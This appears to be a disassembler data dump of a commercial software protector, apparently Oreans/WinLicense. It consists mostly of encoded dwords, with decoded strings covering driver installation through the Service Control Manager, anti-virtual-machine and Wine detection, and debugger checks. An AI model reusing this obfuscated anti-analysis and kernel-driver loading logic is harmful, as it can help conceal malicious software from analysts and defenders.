dd 1E4ECEB7h, 0EC243481h, 312BC723h, 0E01AEDBDh, 0F036A07h dd 6ACEBFh, 21E19589h, 36A07E0h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 17C35747h, 0B800F2Ch, 0F000000h dd 58Bh, 0F6816600h, 816696B5h, 0E8BF16F7h, 4, 0C0000000h dd 0C124BE60h, 0B460094Ch, 12E94Dh, 513F0000h, 0C129A97Eh dd 0AE54A47Bh, 897E316Bh, 54443865h, 8B506161h, 24448BCAh dd 8B81B604h, 0BABE6600h, 24448907h, 95035804h, 7E023D9h dd 0AF179D8Dh, 6A07E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0B58B02C3h, 7E026B1h, 50EF8A93h dd 11E8h, 0F1F7CC00h, 0BC60FDE4h, 5DA888A2h, 8266115Eh dd 7E884A6h, 0F1000000h, 59D17EC9h, 6160A8EBh, 6693595Fh dd 0FF5CF5BEh, 62DA80D0h, 0BF850F40h, 0E9000001h, 7, 0D5C3C4E3h dd 0F08A3F5h, 0E858CFB7h, 0Bh, 1307F957h, 67A6B74Ah, 81EE2050h dd 23CD72F2h, 0E8905E40h, 9, 9752ECF5h, 9075034Ah, 0BE916h dd 798E0000h, 0D1450F0Fh, 0D3C93C36h, 0E9505A32h, 0Fh dd 0B093BF31h, 50CAB4F3h, 5942704Dh, 90487DC6h, 0BC97E681h dd 0B58B335Ch, 7E02511h, 10E9006Ah, 64000000h, 0A08EDCDh dd 0F80EB566h, 4D394770h, 8B60413Fh, 0B8F768D6h, 880F491Fh dd 0 dd 77243481h, 89491FB8h, 0E0001DB5h, 65B50907h, 6A07E022h dd 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 8E989h, 78700000h, 0E7DE9D80h, 6AC4C9h dd 0CE9h, 6F705000h, 2759E539h, 0C249FC84h, 0F036AC6h dd 188h, 2A68FC00h, 0F918E95h, 0D83h, 0B9525000h, 236FD6ABh dd 6160310Fh, 3481585Ah, 8E952A24h, 68A0F51h, 8B000000h dd 0E016818Dh, 229D8D07h, 6607E2AFh, 6664D4BAh, 3521D281h dd 0FA8A6050h, 3B7FBA66h, 241C8961h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 71C35747h, 8968FF58h, 0E013FDB5h dd 60D0FF07h, 0BD8B60FCh, 7E007B5h, 619BD8Bh, 616107E0h dd 2810Fh, 0F08B0000h, 4B850F40h, 8B000000h, 0E0162DB5h dd 95895807h, 7E01931h, 134E9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8D8BE5B7h dd 7E020F9h, 0AE8h, 7F151F00h, 4A80CF7Eh, 89D95206h, 0E0009995h dd 0D88B5A07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0FAC35343h, 66456347h, 6A4BF38Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0D0BCC357h dd 0EFD13CDEh, 81F5D981h, 8DA624E1h, 6A583Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 23013BC3h dd 6BE18166h, 5985C672h, 4307E007h, 39C0AB68h, 665250B3h dd 310FF18Bh, 2BBE6650h, 585A5F6Ah, 0C243481h, 8B734F8Ah dd 0E01E4DB5h, 1B5FF07h, 6A07E02Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0E9B1C352h dd 8B0F4763h, 6, 30219531h, 858D07E0h, 7E039F8h, 0FFD7B70Fh dd 0EA8166D0h, 8950F801h, 98B6241Ch, 0FFF8BF0Fh, 0D7B70FD0h dd 748D9D8Dh, 0B8F907E0h, 1, 0FC51E3FFh, 0B9C18B5Ah, 71958259h dd 9E8C08Bh, 89000000h, 0CE487033h, 0F6818263h, 2DF5B52Bh dd 835F07E0h, 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h dd 8B535019h, 40FB8C0h, 85890000h, 7E02399h, 0BCC99D8Dh dd 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h, 40FB853h dd 85890000h, 7E02399h, 0B96A9D8Dh, 0D3FF07E2h, 0D68B585Bh dd 24F5BD8Bh, 0C08B07E0h, 6E8h, 0C773BF00h, 9775C70h, 0E021858Dh dd 8B575A07h, 0E02395BDh, 0C2815B07h, 64A9h, 0BE5BF957h dd 18FBh, 758D8960h, 8B07E01Ah, 0E0169DBDh, 32FF6107h dd 58A5E380h, 68A0Fh, 8D8B0000h, 7E00875h, 2C97E881h, 8589189Dh dd 7E02AD9h, 70EEF081h, 0FB8B3C28h, 6023F081h, 840F5C20h dd 6, 2BA5B589h, 805007E0h, 28F11DFh, 6850Fh, 0C9810000h dd 71B1A51Eh, 4DD2EA81h, 810F2199h, 6, 7AEECF81h, 0C28156D7h dd 21994DCEh, 1EE81h, 850F0000h, 0FFFFFF92h, 1C8C0Fh, 11E80000h dd 0D1000000h, 6F9248Fh, 0B0F2ADC7h, 8F324078h, 0CAC087Fh dd 0FAE6ACBFh, 0AAE95B59h, 53000000h, 7774666Fh, 5C657261h dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3 dup(0) dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h, 7E2B785h dd 0B781858Dh, 8D5007E2h, 0E2B6EB85h, 1685007h, 0FF800000h dd 0E2B79195h, 0FF196A07h, 0E2B785B5h, 6A016A07h, 1A858D00h dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E02415h, 0B781B5FFh dd 95FF07E2h, 7E2B78Dh, 0B781B5FFh, 95FF07E2h, 7E02949h dd 858589C3h, 8D07E2B7h, 0E2B78185h, 858D5007h, 7E2B6EBh dd 16850h, 95FF8000h, 7E2B791h, 858D046Ah, 7E2B785h, 6A046A50h dd 44858D00h, 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E02415h dd 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh, 95FF07E2h dd 7E02949h, 858589C3h, 8D07E2B7h, 0E2B78185h, 858D5007h dd 7E2B6EBh, 16850h, 95FF8000h, 7E2B791h, 858D046Ah, 7E2B785h dd 6A046A50h, 2C858D00h, 5007E2B7h, 0B781B5FFh, 95FF07E2h dd 7E02415h, 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh dd 95FF07E2h, 7E02949h, 858589C3h, 8D07E2B7h, 0E2B78185h dd 858D5007h, 7E2B6EBh, 16850h, 95FF8000h, 7E2B791h, 858D046Ah dd 7E2B785h, 6A046A50h, 57858D00h, 5007E2B7h, 0B781B5FFh dd 95FF07E2h, 7E02415h, 0B781B5FFh, 95FF07E2h, 7E2B78Dh dd 0B781B5FFh, 95FF07E2h, 7E02949h, 858589C3h, 8D07E2B7h dd 0E2B78185h, 858D5007h, 7E2B6EBh, 16850h, 95FF8000h dd 7E2B791h, 858D046Ah, 7E2B785h, 6A046A50h, 7858D00h dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E02415h, 0B781B5FFh dd 95FF07E2h, 7E2B78Dh, 0B781B5FFh, 95FF07E2h, 7E02949h dd 9BD83C3h, 7E01Eh, 0B840Fh, 9D8B0000h, 7E01E09h, 894CC383h dd 0BD83C303h, 7E01E09h, 0B840F00h, 8B000000h, 0E01E099Dh dd 50C38307h, 83C30389h, 0E01E09BDh, 840F0007h, 0Bh, 1E099D8Bh dd 0C38307E0h, 0C3038954h, 1E09BD83h, 0F0007E0h, 0B84h dd 99D8B00h, 8307E01Eh, 38958C3h, 9BD83C3h, 7E01Eh, 0B840Fh dd 9D8B0000h, 7E01E09h, 895CC383h, 60C3C303h, 0B7858589h dd 858D07E2h, 7E2B781h, 0EB858D50h, 5007E2B6h, 168h, 9195FF80h dd 6A07E2B7h, 85858D04h, 5007E2B7h, 6A046Ah, 0B77C858Dh dd 0FF5007E2h, 0E2B781B5h, 1595FF07h, 8307E024h, 0E006B1BDh dd 840F0007h, 0Ch, 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh dd 95FF07E2h, 7E02949h, 8960C361h, 0E2B78585h, 81858D07h dd 5007E2B7h, 0B6EB858Dh, 685007E2h, 80000001h, 0B79195FFh dd 46A07E2h, 0B785858Dh, 6A5007E2h, 8D006A04h, 0E2B75E85h dd 0B5FF5007h, 7E2B781h, 241595FFh, 0BD8307E0h, 7E006B1h dd 0C840F00h, 0FF000000h, 0E2B781B5h, 8D95FF07h, 0FF07E2B7h dd 0E2B781B5h, 4995FF07h, 6107E029h, 858960C3h, 7E2B785h dd 0B781858Dh, 8D5007E2h, 0E2B6EB85h, 1685007h, 0FF800000h dd 0E2B79195h, 8D046A07h, 0E2B78585h, 46A5007h, 858D006Ah dd 7E2B765h, 81B5FF50h, 0FF07E2B7h, 0E0241595h, 0B1BD8307h dd 7E006h, 0C840Fh, 0B5FF0000h, 7E2B781h, 0B78D95FFh, 0B5FF07E2h dd 7E2B781h, 294995FFh, 0C36107E0h, 85858960h, 8D07E2B7h dd 0E2B78185h, 858D5007h, 7E2B6EBh, 16850h, 95FF8000h dd 7E2B791h, 858D046Ah, 7E2B785h, 6A046A50h, 6D858D00h dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E02415h, 6B1BD83h dd 0F0007E0h, 0C84h, 81B5FF00h, 0FF07E2B7h, 0E2B78D95h dd 81B5FF07h, 0FF07E2B7h, 0E0294995h, 60C36107h, 0B7858589h dd 858D07E2h, 7E2B781h, 0EB858D50h, 5007E2B6h, 168h, 9195FF80h dd 6A07E2B7h, 85858D04h, 5007E2B7h, 6A046Ah, 0B774858Dh dd 0FF5007E2h, 0E2B781B5h, 1595FF07h, 8307E024h, 0E006B1BDh dd 840F0007h, 0Ch, 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh dd 95FF07E2h, 7E02949h, 0C760C361h, 0E2B78585h, 107h, 81858D00h dd 5007E2B7h, 0B6EB858Dh, 685007E2h, 80000002h, 0B79195FFh dd 0C00B07E2h, 0F840Fh, 85C70000h, 7E2B785h, 0 dd 4DE9h, 8D046A00h, 0E2B78585h, 46A5007h, 858D006Ah, 7E2B6FFh dd 81B5FF50h, 0FF07E2B7h, 0E0241595h, 0FC00B07h, 0F84h dd 8585C700h, 7E2B7h, 0E9000000h, 0Ah, 0B78585C7h, 107E2h dd 0B5FF0000h, 7E2B781h, 294995FFh, 8B6107E0h, 0E2B78585h dd 8960C307h, 0E2B78585h, 81858D07h, 5007E2B7h, 0B6EB858Dh dd 685007E2h, 80000001h, 0B79195FFh, 46A07E2h, 0B785858Dh dd 6A5007E2h, 8D006A04h, 0E2B6FF85h, 0B5FF5007h, 7E2B781h dd 241595FFh, 0BD8307E0h, 7E006B1h, 0C840F00h, 0FF000000h dd 0E2B781B5h, 8D95FF07h, 0FF07E2B7h, 0E2B781B5h, 4995FF07h dd 6107E029h, 858960C3h, 7E2B785h, 0B781858Dh, 8D5007E2h dd 0E2B6EB85h, 1685007h, 0FF800000h, 0E2B79195h, 8D046A07h dd 0E2B78585h, 46A5007h, 858D006Ah, 7E2B711h, 81B5FF50h dd 0FF07E2B7h, 0E0241595h, 0B1BD8307h, 7E006h, 0C840Fh dd 0B5FF0000h, 7E2B781h, 0B78D95FFh, 0B5FF07E2h, 7E2B781h dd 294995FFh, 0C36107E0h, 75985C6h, 685207E0h, 0ADE47B07h dd 1B71B5FFh, 95FF07E0h, 7E02001h, 0B7918589h, 85C607E2h dd 7E00759h, 0E56852h, 0B5FF902Eh, 7E01B71h, 200195FFh dd 858907E0h, 7E2B78Dh, 75985C6h, 685207E0h, 0B9BF1235h dd 1B71B5FFh, 95FF07E0h, 7E02001h, 24158589h, 85C607E0h dd 7E00759h, 10346852h, 0B5FF9878h, 7E01B71h, 200195FFh dd 858907E0h, 7E02949h, 75985C6h, 685207E0h, 0C005DBD4h dd 1B71B5FFh, 95FF07E0h, 7E02001h, 22FD8589h, 0EE907E0h dd 33000002h, 6E6E6143h, 7720746Fh, 65746972h, 65726F20h dd 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h, 74206572h dd 20746168h, 73696874h, 6C696620h, 73692065h, 746F6E20h dd 69656220h, 7520676Eh, 20646573h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 0EFE900h, 85C60000h, 7E00759h, 5B866847h, 0B5FFE3E4h dd 7E02F01h, 39F8858Dh, 0D0FF07E0h, 10468h, 2D9D8D00h dd 5307E00Eh, 8D50D0FFh, 0E2BFC3B5h, 32FE8B07h, 850FAEC0h dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 0E0075985h dd 0FC684307h, 0FFBC8E6Eh, 0E02F01B5h, 0F8858D07h, 0FF07E039h dd 2DB58DD0h, 6A07E00Eh, 806800h, 26A0000h, 6A006Ah, 68h dd 0D0FF56C0h, 85C6D88Bh, 7E00759h, 0EE566857h, 0B5FFA69Bh dd 7E02F01h, 39F8858Dh, 0D0FF07E0h, 2105BD8Dh, 8D8D07E0h dd 7E2C0E9h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh dd 0BDCBB58Dh, 858D07E2h, 7E2AE58h, 8D8DD0FFh, 7E0748Dh dd 0B8h, 0C6E1FF00h, 0E0075985h, 0A7684307h, 0FFC0764Ah dd 0E02F01B5h, 0F8858D07h, 0FF07E039h, 0D0FF53D0h, 37D0B9C3h dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_454844+3BCh dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 dd 0C3F8h, 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 0BE800h, 28BC0000h dd 7C26C82Fh, 5C64ACA0h, 13E92Bh, 0E9F60000h, 0FD2A8D0Ah dd 0CA4B8516h, 84546A8Dh, 0D687F8CBh, 0F505F25h, 28Dh dd 5E616000h, 6CF1C781h, 0BF0F0000h, 1B05B9F1h, 37FF0000h dd 5BC38B66h, 0E0816660h, 81664B30h, 61D75BE2h, 0A13C381h dd 0BF0F518Eh, 4DEB81C3h, 0F96EB1DFh, 101F381h, 0E0804361h dd 80605360h, 8B665DE5h, 78F61C2h, 5860Fh, 34B80000h, 8101E87Bh dd 0FD765DEFh, 0D1F68122h, 81578DC8h, 0FD7659C7h, 0A800F22h dd 0F000000h, 489h, 58B86600h, 850F49E3h, 1Ch, 0E9F38B66h dd 33h, 9D14E47h, 0FDA53D54h, 5C4B77h, 18F744Eh, 8889AB2Fh dd 9E9h, 5A302600h, 0D35119Fh, 67E9D46Ah, 0DCFFFFFFh, 0A6D6963Eh dd 5C6B190h, 0E904694Ah, 99h, 6775622Fh, 63656863h, 2F00326Bh dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h dd 737574h, 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 24BD8300h, 7E2FAh, 0A840Fh, 85C70000h, 7E001C5h, 1 dd 75985C6h, 0E84707E0h, 4, 906D6C8Dh, 24448B50h, 89008B04h dd 58042444h, 2F01B5FFh, 858D07E0h, 7E039F8h, 0D0FFD0FFh dd 3F80F88Bh, 22850F22h, 47000000h, 0FAE22B0h, 0FFFFF985h dd 3F80FFh, 31B840Fh, 80470000h, 840F003Fh, 311h, 1EE9h dd 3F8000h, 303840Fh, 3F800000h, 6850F20h, 47000000h, 6E9h dd 0E2E94700h, 80FFFFFFh, 850F003Fh, 5, 2E0E9h, 1E900h dd 80470000h, 840F203Fh, 0FFFFFFF6h, 0F003F80h, 585h, 2C3E900h dd 0AE80000h, 0E9000000h, 0FFFFFFCBh, 2B4E9h, 0A4B58D00h dd 0E807E2F9h, 225h, 0FA39BD03h, 0BD8307E2h, 7E2FA39h dd 0B840F00h, 0C7000000h, 0E006B185h, 107h, 0B58DC300h dd 7E2F9AFh, 1FCE8h, 39BD0300h, 8307E2FAh, 0E2FA39BDh dd 840F0007h, 0Bh, 1C585C7h, 107E0h, 8DC30000h, 0E2FA28B5h dd 1D3E807h, 0BD030000h, 7E2FA39h, 0FA39BD83h, 0F0007E2h dd 0B84h, 3985C700h, 107E033h, 0C3000000h, 0F9B9B58Dh dd 0AAE807E2h, 3000001h, 0E2FA39BDh, 39BD8307h, 7E2FAh dd 0B840Fh, 85C70000h, 7E001C5h, 1, 0C3B58DC3h, 0E807E2F9h dd 181h, 0FA39BD03h, 0BD8307E2h, 7E2FA39h, 15840F00h, 0C7000000h dd 0E001C585h, 107h, 0B185C700h, 107E006h, 0C3000000h dd 0F9D1B58Dh, 4EE807E2h, 3000001h, 0E2FA39BDh, 39BD8307h dd 7E2FAh, 0A840Fh, 85C70000h, 7E01D85h, 1, 0F9DBB58Dh dd 26E807E2h, 3000001h, 0E2FA39BDh, 39BD8307h, 7E2FAh dd 0A840Fh, 85C70000h, 7E01D85h, 1, 0F9E6B58Dh, 0FEE807E2h dd 3000000h, 0E2FA39BDh, 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h dd 7E017D1h, 1, 0F9ECB58Dh, 0D6E807E2h, 3000000h, 0E2FA39BDh dd 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h, 7E028F1h, 1 dd 0F9F2B58Dh, 0AEE807E2h, 3000000h, 0E2FA39BDh, 39BD8307h dd 7E2FAh, 0A840Fh, 85C70000h, 7E026C1h, 1, 0FA00B58Dh dd 86E807E2h, 3000000h, 0E2FA39BDh, 39BD8307h, 7E2FAh dd 0A840Fh, 85C70000h, 7E02CC5h, 1, 0FA0DB58Dh, 5EE807E2h dd 3000000h, 0E2FA39BDh, 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h dd 7E02DB1h, 1, 0FA18B58Dh, 36E807E2h, 3000000h, 0E2FA39BDh dd 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h, 7E02FE5h, 1 dd 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh dd 1B960C3h, 8B000000h, 1CE9DEh, 3F800000h, 2850F00h, 2B000000h dd 38178AC9h, 5840F16h, 0B9000000h, 0 aFga db 'FG€>',0 db 0Fh, 84h, 8 dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h dd 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 7E2FA39h, 0AE9h, 3985C700h dd 7E2FAh, 61000000h, 0B8C3h, 0C00B0000h, 0A840Fh, 85C70000h dd 7E01D85h, 0 dd 0B7E9C88Bh, 41000010h, 50415644h, 2E323349h, 4C4C44h dd 6E65704Fh, 614D4353h, 6567616Eh, 43004172h, 74616572h dd 72655365h, 65636976h, 74530041h, 53747261h, 69767265h dd 416563h, 4E746547h, 76697461h, 73795365h, 496D6574h dd 6F666Eh, 6E65704Fh, 76726553h, 41656369h, 6C654400h dd 53657465h, 69767265h, 43006563h, 65736F6Ch, 76726553h dd 48656369h, 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch dd 65636976h, 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 4 dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) aSOreans_vxd db '%s\Oreans.vxd',0 align 10h dd 2 dup(0) aXprotevent db 'XprotEvent',0 align 4 dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h, 94h, 5, 1, 0A28h, 2, 21h dup(0) aSoftwareWine db 'Software\Wine',0 aLJ db '‹Äj',0 dw 0E851h dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E7C35141h, 552BB12Fh dd 59C8D9Ch, 2B718589h, 0F68007E0h, 81958BB7h, 8B07E020h dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0A9FEF3F2h, 5BAA12A9h, 0C18150FBh, 21B12B98h dd 39D9815Fh, 8302223Dh, 0E006B1BDh, 9750007h, 1C5BD83h dd 740007E0h, 8B535019h, 43DB8C0h, 85890000h, 7E020F5h dd 0BC629D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h dd 43DB853h, 85890000h, 7E020F5h, 0B9519D8Dh, 0D3FF07E2h dd 5F56585Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 39C35747h, 0B97BF305h, 29C421E4h, 0C08BC08Bh, 0DE9h dd 0E5B0B500h, 3DA21B1Ah, 94EE0E93h, 0BD832FD3h, 7E006B1h dd 83097500h, 0E001C5BDh, 13740007h, 0C08B5350h, 0B8h dd 49D8D00h, 0FF07E2BBh, 83585BD3h, 0E001C5BDh, 11740007h dd 0B85350h, 8D000000h, 0E2B9B59Dh, 5BD3FF07h, 9BD68058h dd 5880Fh, 24BF0000h, 8B5301F6h, 8DB956C0h, 5A41F9B0h dd 0D781C08Bh, 0CA141CFh, 6B1BD83h, 750007E0h, 0C5BD8309h dd 7E001h, 53501374h, 0B8C08Bh, 8D000000h, 0E2BA369Dh dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501174h, 0B8h, 839D8D00h dd 0FF07E2B9h, 81585BD3h, 126ED1E9h, 51006A25h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0E2D2817Dh dd 8B5DDD7Eh, 59BD8BC0h, 8B07E02Dh, 8C7EBAC0h, 0BD836C38h dd 7E006B1h, 83097500h, 0E001C5BDh, 13740007h, 0C08B5350h dd 0B8h, 9D9D8D00h, 0FF07E2BAh, 83585BD3h, 0E001C5BDh dd 11740007h, 0B85350h, 8D000000h, 0E2B99C9Dh, 5BD3FF07h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 5157EE23h, 0ED48A5C6h, 2C6D9D89h, 0B70F07E0h dd 0F5C580D6h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 8D8B82C3h, 7E01671h, 0DEDBD23h dd 0C08B07E0h, 14E9h, 0B72C9A00h, 0AB7D7B68h, 67BFA507h dd 0D912563h, 200000Eh, 0B1BD8362h, 7E006h, 0BD830975h dd 7E001C5h, 50137400h, 0B8C08B53h, 0 dd 0B9CF9D8Dh, 0D3FF07E2h, 8D8B585Bh, 7E02FCDh, 0B1858950h dd 5F07E026h, 0F680C08Bh, 519529F1h, 8B07E004h, 83F98BC0h dd 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h, 8B535019h dd 7D0B8C0h, 85890000h, 7E020F5h, 0BC629D8Dh, 0D3FF07E2h dd 0BD83585Bh, 7E001C5h, 50177400h, 7D0B853h, 85890000h dd 7E020F5h, 